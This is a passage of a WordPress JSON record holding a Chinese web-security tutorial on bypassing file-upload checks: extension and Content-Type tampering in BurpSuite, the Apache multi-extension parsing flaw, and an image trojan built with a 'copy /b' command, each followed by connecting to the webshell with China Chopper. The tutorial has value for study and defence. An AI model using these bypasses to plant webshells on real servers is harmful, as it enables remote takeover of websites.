592px) 100vw, 592px\" \/><\/div>\n<\/figure>\n<p data-pid=\"ktxHjg8O\"><b>3.2.1 \u51c6\u5907\u4e00\u53e5\u8bdd\u6728\u9a6c<\/b><\/p>\n<p data-pid=\"A7zrYQP9\">\u5148\u5199\u4e00\u4e2aphp\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u7136\u540e\u5728\u8fd9\u91cc\u547d\u540d\u4e3a lubr.jpg\uff0c\u800c\u4e0d\u662fphp\u6587\u4ef6<\/p>\n<p data-pid=\"0fixYvIm\"><b>3.2.2 BurpSuite\u62e6\u622a\u6539\u6269\u5c55\u540d<\/b><\/p>\n<p data-pid=\"LVqAC0_7\">\u5728BurpSuite\u4e2d\u4f1a\u6293\u5230\u622a\u53d6\u7684\u6570\u636e\u5305\uff0c\u5728\u6570\u636e\u5305\u4e2d\u5c06\u6240\u4e0a\u4f20\u7684\u6587\u4ef6\u540e\u7f00\u540d\u7531\u3010.jpg\u3011\u6539\u4e3a\u3010.php\u3011<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-984\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp.jpg\" width=\"894\" height=\"693\" alt=\"v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp\" title=\"v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp.jpg 894w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp-300x233.jpg 300w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-b816c41f5bbf6b72037452111bf22c6c_720w.webp-768x595.jpg 768w\" sizes=\"auto, (max-width: 894px) 100vw, 894px\" \/><\/div>\n<\/figure>\n<p>\u70b9\u51fb\u3010forward\u3011\uff0c\u4f20\u9012\u6570\u636e\u5305\uff0c\u524d\u53f0\u5373\u53ef\u63d0\u793a\uff0c\u4e0a\u4f20\u3010lubr.php\u3011\u6210\u529f<\/p>\n<p data-pid=\"_JrN9reF\">\u7565<\/p>\n<p data-pid=\"AMlsG1GN\"><b>3.3 \u7ed5\u8fc7Content-Type\u68c0\u6d4b\u6587\u4ef6\u7c7b\u578b\u4e0a\u4f20<\/b><\/p>\n<p data-pid=\"z5HzLURi\">Content-Type\u5982\u679c\u4e3a\u3010application\/octet-stream\u3011\uff0c\u8fd9\u4e00\u822c\u662f\u53ef\u8fd0\u884c\u7a0b\u5e8f\uff08\u6728\u9a6c\uff09\u7684\u7c7b\u578b\uff0c\u56e0\u6b64\u4f1a\u62d2\u7edd\u4e0a\u4f20\u3002\u4f46\u5982\u679c\u6211\u4eec\u5c06\u5176\u6539\u4e3a\u3010image\/gif\u3011\u56fe\u7247\u7c7b\u578b\uff0c\u53ef\u80fd\u5c31\u80fd\u591f\u7ed5\u8fc7\u8be5\u68c0\u6d4b\u3002<\/p>\n<p data-pid=\"n_LAmnEb\"><b>3.3.2 BurpSuite\u62e6\u622a\u6539Content-Type\u53c2\u6570<\/b><\/p>\n<p data-pid=\"9ePOt7yj\">\u5728BurpSuite\u4e2d\u4f1a\u6293\u5230\u622a\u53d6\u7684\u6570\u636e\u5305\uff0c\u5728\u6570\u636e\u5305\u4e2d\u5c06\u6240\u4e0a\u4f20\u7684\u6587\u4ef6\u7684Content-Type\u7531\u3010application\/octet-stream\u3011\u6539\u4e3a\u3010image\/gif\u3011<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-985\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a92474b3bab37ace1d80ba8bb66725f7_720w.webp.jpg\" width=\"768\" height=\"125\" alt=\"v2-a92474b3bab37ace1d80ba8bb66725f7_720w.webp\" title=\"v2-a92474b3bab37ace1d80ba8bb66725f7_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a92474b3bab37ace1d80ba8bb66725f7_720w.webp.jpg 768w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a92474b3bab37ace1d80ba8bb66725f7_720w.webp-300x49.jpg 300w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/div>\n<\/figure>\n<p>\u70b9\u51fb\u3010forward\u3011\uff0c\u4f20\u9012\u6570\u636e\u5305\uff0c\u524d\u53f0\u5373\u53ef\u63d0\u793a\uff0c\u4e0a\u4f20\u3010lubr.php\u3011\u6210\u529f<\/p>\n<p data-pid=\"2T2L75WM\">\u7565<\/p>\n<p data-pid=\"sLUAmjtQ\"><b>3.4 apache\u89e3\u6790\u6f0f\u6d1e\u4e0a\u4f20shell\u7ed5\u8fc7\u670d\u52a1\u5668\u7aef\u6269\u5c55\u540d\u68c0\u6d4b<br \/>\n<\/b><\/p>\n<p data-pid=\"YT8Ev7jp\">Apache \u8bc6\u522b\u6587\u4ef6\u7c7b\u578b\u662f\u4ece\u53f3\u5411\u5de6\u8bc6\u522b\u7684\uff0c\u5982\u679c\u5982\u9047\u4e0d\u8ba4\u8bc6\u7684\u6269\u5c55\u540d\u4f1a\u5411\u524d\u4e00\u6b21\u8bc6\u522b\uff0c\u76f4\u5230\u9047\u5230\u80fd\u8bc6\u522b\u7684\u6269\u5c55\u540d<b>\uff0c<\/b>\u56e0\u4e3aApache\u8ba4\u4e3a\u4e00\u4e2a\u6587\u4ef6\u53ef\u4ee5\u62e5\u6709\u591a\u4e2a\u6269\u5c55\u540d\uff0c\u54ea\u6015\u6ca1\u6709\u6587\u4ef6\u540d\uff0c\u4e5f\u53ef\u4ee5\u62e5\u6709\u591a\u4e2a\u6269\u5c55\u540d\u3002\u8fd9\u79cd\u6f0f\u6d1e\u5b58\u5728\u4e8e\u4f7f\u7528module\u6a21\u5f0f\u4e0ephp\u7ed3\u5408\u7684\u6240\u6709\u7248\u672c\u7684Apache\u3002<\/p>\n<p data-pid=\"z4ZW9j1B\">\u5047\u5982\u67d0\u7f51\u7ad9\u521a\u597d\u4f7f\u7528\u4e86\u6709\u89e3\u6790\u6f0f\u6d1e\u7248\u672c\u7684Apache\uff0c\u800c\u4e14\u5176\u5bf9\u670d\u52a1\u5668\u7aef\u5bf9\u3010.php\u3011\u6587\u4ef6\u76f4\u63a5\u4e0a\u4f20\u505a\u4e86\u8fc7\u6ee4\u3002<\/p>\n<p data-pid=\"jPb3mC0-\"><b>3.4.1 \u4e00\u53e5\u8bdd\u6728\u9a6c<\/b><\/p>\n<p data-pid=\"fJASs2n1\">\u56e0\u4e3a\u670d\u52a1\u5668\u7aef\u5bf9\u3010.php\u3011\u4e0a\u4f20\u505a\u4e86\u8fc7\u6ee4\uff0c\u56e0\u6b64\u65e0\u8bba\u600e\u4e48\u7528BurpSuite\u4fee\u6539\u90fd\u4e0d\u80fd\u4e0a\u4f20\u6210\u529f\u3002<\/p>\n<p data-pid=\"NoZ7O_8d\">\u5982\u679c\u5c06\u8be5\u6728\u9a6c\u547d\u540d\u4e3a \u3010lubr.php.adc\u3011\uff0c\u5219\u663e\u793a\u4e0a\u4f20\u6210\u529f\u3002<\/p>\n<p data-pid=\"J7alExO-\">\u56e0\u4e3a\u670d\u52a1\u5668\u7aef\u9ed1\u540d\u5355\u53ea\u9650\u5236\u4e86\u51e0\u79cd\u6269\u5c55\u540d\u7684\u4e0a\u4f20\uff0c\u800c\u5176\u4ed6\u6269\u5c55\u540d\u90fd\u662f\u5408\u6cd5\u7684\uff0c\u4e0d\u8bba\u8fd9\u79cd\u6269\u5c55\u540d\u662f\u5426\u6709\u6548\uff0c\u800capache\u5374\u80fd\u8bc6\u522b\u65e0\u6548\u7684\u6269\u5c55\u540d\u5e76\u4e0d\u4e88\u89e3\u6790\uff0c\u8fd9\u79cd\u4e0d\u5bf9\u79f0\u7684\u6269\u5c55\u540d\u8bc6\u522b\u9020\u6210\u4e86\u4e0a\u4f20\u6f0f\u6d1e\u7684\u4ea7\u751f\u3002<\/p>\n<p data-pid=\"vFEyTYsC\"><b>3.4.2 \u83dc\u5200\u8fde\u63a5<\/b><\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-986\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38cc75e063bd49751e267408dac2d338_720w.webp.jpg\" width=\"942\" height=\"478\" alt=\"v2-38cc75e063bd49751e267408dac2d338_720w.webp\" title=\"v2-38cc75e063bd49751e267408dac2d338_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38cc75e063bd49751e267408dac2d338_720w.webp.jpg 942w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38cc75e063bd49751e267408dac2d338_720w.webp-300x152.jpg 300w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-38cc75e063bd49751e267408dac2d338_720w.webp-768x390.jpg 768w\" sizes=\"auto, (max-width: 942px) 100vw, 942px\" \/><\/div>\n<\/figure>\n<p>\u83dc\u5200\u4e5f\u4e0d\u8bc6\u522b\u3010.abc\u3011\uff0c\u76f4\u63a5\u89e3\u6790\u3010.php\u3011\uff0c\u8fde\u63a5\u6210\u529f\u3002<\/p>\n<p data-pid=\"gcOlTgEk\"><b>3.5 \u6784\u9020\u56fe\u7247\u9a6c\u7ed5\u8fc7\u6587\u4ef6\u5185\u5bb9\u68c0\u6d4b<\/b><\/p>\n<p data-pid=\"h_4B8Zh0\">\u6587\u4ef6\u5185\u5bb9\u68c0\u6d4b\u811a\u672c\u4e2dgetimagesize(string filename)\u51fd\u6570\u4f1a\u901a\u8fc7\u8bfb\u53d6\u6587\u4ef6\u5934\uff0c\u8fd4\u56de\u56fe\u7247\u7684\u957f\u3001\u5bbd\u7b49\u4fe1\u606f\uff0c\u5982\u679c\u6ca1\u6709\u76f8\u5173\u7684\u56fe\u7247\u6587\u4ef6\u5934\uff0c\u51fd\u6570\u4f1a\u62a5\u9519\uff0c\u662f\u4e00\u79cd\u6bd4\u8f83\u4e25\u7684\u9632\u5fa1\u63aa\u65bd\u3002\u4f46\u5e76\u4e0d\u4ee3\u8868\u5176\u7262\u4e0d\u53ef\u7834\u3002<\/p>\n<p data-pid=\"eBVdw0He\">\u867d\u7136php\u5185\u5bb9\u4e0d\u5408\u6cd5\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u4f2a\u88c5\u6210\u4e00\u4e2a\u56fe\u7247\uff0c\u4ee5\u6b3a\u9a97\u68c0\u6d4b\u811a\u672c\u6765\u8fdb\u884c\u975e\u6cd5\u4e0a\u4f20\u3002<\/p>\n<p data-pid=\"9CJTbMbJ\"><b>3.5.1 \u6784\u9020\u56fe\u7247\u9a6c<br \/>\n<\/b><\/p>\n<p data-pid=\"PkSrhTZQ\">\u968f\u4fbf\u627e\u4e00\u4e2a\u56fe\u7247\uff0c\u5c06\u5176\u4e0e\u8981\u4e0a\u4f20\u7684\u6728\u9a6c\u7f6e\u4e8e\u540c\u4e00\u6587\u4ef6\u5939\u4e0b<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-987\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a69e2e5d62aec6c57280a760497d80f1_720w.webp.jpg\" width=\"749\" height=\"197\" alt=\"v2-a69e2e5d62aec6c57280a760497d80f1_720w.webp\" title=\"v2-a69e2e5d62aec6c57280a760497d80f1_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a69e2e5d62aec6c57280a760497d80f1_720w.webp.jpg 749w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-a69e2e5d62aec6c57280a760497d80f1_720w.webp-300x79.jpg 300w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/div>\n<\/figure>\n<p data-pid=\"ADVf2aPi\">\u6253\u5f00cmd\uff0c\u8fdb\u5165\u8be5\u6587\u4ef6\u5939\uff0c\u8f93\u5165<\/p>\n<div class=\"highlight\">\n<pre><code class=\"language-text\">copy doram.jpg\/b+lubr.php\/a xiaoma.jpg\n<\/code><\/pre>\n<\/div>\n<p data-pid=\"wQyfaRGI\">\u5c06\u3010lubr.php\u3011\u63d2\u5165\u5230\u3010doram.jpg\u3011\u4e2d\u3002\u5176\u4e2d\u3010xiaoma.jpg\u3011\u662f\u63d2\u5165\u540e\u7684\u6587\u4ef6\u3002<\/p>\n<p data-pid=\"-8ZkC8yd\">\u7528\u8bb0\u4e8b\u672c\u6253\u5f00\u3010xiaoma.jpg\u3011\uff0c\u53d1\u73b0\u6728\u9a6c\u63d2\u5165\u5230\u4e86\u6587\u4ef6\u6700\u540e\u3002<\/p>\n<figure>\n<div><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-988\" src=\"http:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-551a4bca6c9b4744dccf6cc662ff533f_720w.webp.jpg\" width=\"720\" height=\"421\" alt=\"v2-551a4bca6c9b4744dccf6cc662ff533f_720w.webp\" title=\"v2-551a4bca6c9b4744dccf6cc662ff533f_720w.webp\" srcset=\"https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-551a4bca6c9b4744dccf6cc662ff533f_720w.webp.jpg 720w, https:\/\/blog.nonot.cn\/wp-content\/uploads\/2023\/01\/v2-551a4bca6c9b4744dccf6cc662ff533f_720w.webp-300x175.jpg 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/div>\n<\/figure>\n<p><b>3.5.2 \u4e0a\u4f20\u6728\u9a6c<\/b><\/p>\n<p data-pid=\"UGJHrqG7\">\u5c06\u6587\u4ef6\u540d\u6539\u4e3a\u3010xiaoma.jpg.php\u3011\uff0c\u7136\u540e\u4e0a\u4f20\u6210\u529f\uff0c\u83dc\u5200\u8fde\u63a5\u3002<\/p>\n<p data-pid=\"9yoJCnvJ\">\u4ee5\u4e0a\u5c31\u662f\u51e0\u79cd\u68c0\u6d4b\u60c5\u51b5\u7684\u7ed5\u8fc7\u65b9\u6cd5\uff0c\u771f\u5b9e\u60c5\u51b5\u4e0b\u9700\u5404\u79cd\u65b9\u5f0f\u914d\u5408\u4f7f\u7528\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8fd9\u7bc7\u6587\u7ae0\u4e3b\u8981\u4ecb\u7ecd\u4e86\u83dc\u5200\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\uff0c\u603b\u7ed3\u4e86\u4e00\u4e9b\u5bf9\u6587\u4ef6\u4e0a\u4f20\u7684&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-701","post","type-post","status-publish","format-standard","hentry","category-webanquan"],"_links":{"self":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/701","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/comments?post=701"}],"version-history":[{"count":1,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/701\/revisions"}],"predecessor-version":[{"id":1289,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/posts\/701\/revisions\/1289"}],"wp:attachment":[{"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/media?parent=701"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/categories?post=701"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.nonot.cn\/index.php\/wp-json\/wp\/v2\/tags?post=701"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}